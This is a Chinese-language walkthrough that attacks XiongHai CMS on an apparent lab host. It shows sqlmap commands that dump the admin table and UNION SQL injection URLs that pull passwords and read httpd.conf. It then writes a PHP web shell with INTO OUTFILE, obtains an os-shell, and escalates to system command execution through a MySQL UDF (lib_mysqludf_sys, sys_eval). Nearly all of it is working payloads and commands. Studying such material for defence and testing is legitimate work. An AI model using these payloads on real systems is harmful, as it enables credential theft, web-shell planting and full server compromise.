SQL注入以及UDF提权


熊海CMS的SQL注入以及后续的UDF提权

SQL注入

后台登录界面存在sql注入,可抓包后放到sqlmap跑

可获取到管理员密码

sqlmap -r 1.txt -D isea -T manage -C name,password --dump

登陆到后台后还存在union联合注入

http://10.1.1.11/admin/?r=editcolumn&type=1&id=1' and 1=2 union select 1,2,3,4,5,6,7,8,9,10--+

构造注入语句

http://10.1.1.11/admin/?r=editcolumn&type=1&id=1' and 1=2 union select 1,version(),user(),@@datadir,5,database(),7,password,9,10 from manage--+

GetShell

通过sqlmap读取配置文件获取网站绝对路径

sqlmap -r 1.txt --file-read /etc/httpd/conf/httpd.conf

也可构造load_file()读取文件

http://10.1.1.11/admin/?r=editcolumn&type=1&id=1' and 1=2 union select 1,2,3,4,5,6,7,load_file('/etc/httpd/conf/httpd.conf'),9,10--+

获取到绝对路径后可以使用sqlmap获取os-shell

PS:获取到绝对路径后并没根目录的权限,但子目录有权限

sqlmap -r 1.txt --os-shell     

输入网站类型和路径,即可获取os-shell

sqlmap会上传两个页面,前者为文件上传,后者为命令执行执行

前者

后者

可以利用文件上传页面上传其他shell,获得更好的体验

或者构造into outfile写shell
http://10.1.1.11/admin/?r=editcolumn&type=1&id=1' and 1=2 union select 1,2,3,4,5,6,7,8,'<?php phpinfo();?>',10 into outfile '/var/www/html/xcxmiku/images/xcx.php'--+

UDF提权

此时shell的权限为 apache

使用UDF提权可将将MYSQL账号root转化为系统system权限,从而执行系统任意命令

UDF获取

在msf的/usr/share/metasploit-framework/data/exploits/mysql目录下

也可在github上获取

dll对应Windows,so对应Linux

使用sqlmap –sql-shell 获取 mysql root密码

5.6及以下版本执行

select host,user,password from mysql.user;

5.7及以上版本执行

select host,user,authentication_string from mysql.user;

我这里为空密码

使用蚁剑连接数据库获取必要信息

select @@version_compile_machine,@@plugin_dir;

操作系统为64位,Plugin文件夹 在/usr/lib64/mysql/plugin

UDF上传

使用蚁剑将 lib_mysqludf_sys_64.so 上传至 /usr/lib64/mysql/plugin

安装UDF

create function sys_eval returns string soname 'lib_mysqludf_sys_64.so';

这里我们选择sys_eval函数,此函数可执行系统命令并回显

验证

select * from mysql.func where name = 'sys_eval';

利用

select sys_eval('whoami');

通过sys_eval即可执行任意系统命令

PS: 记得用完删除文件和udf定义,删除语句为drop function sys_eval;


  目录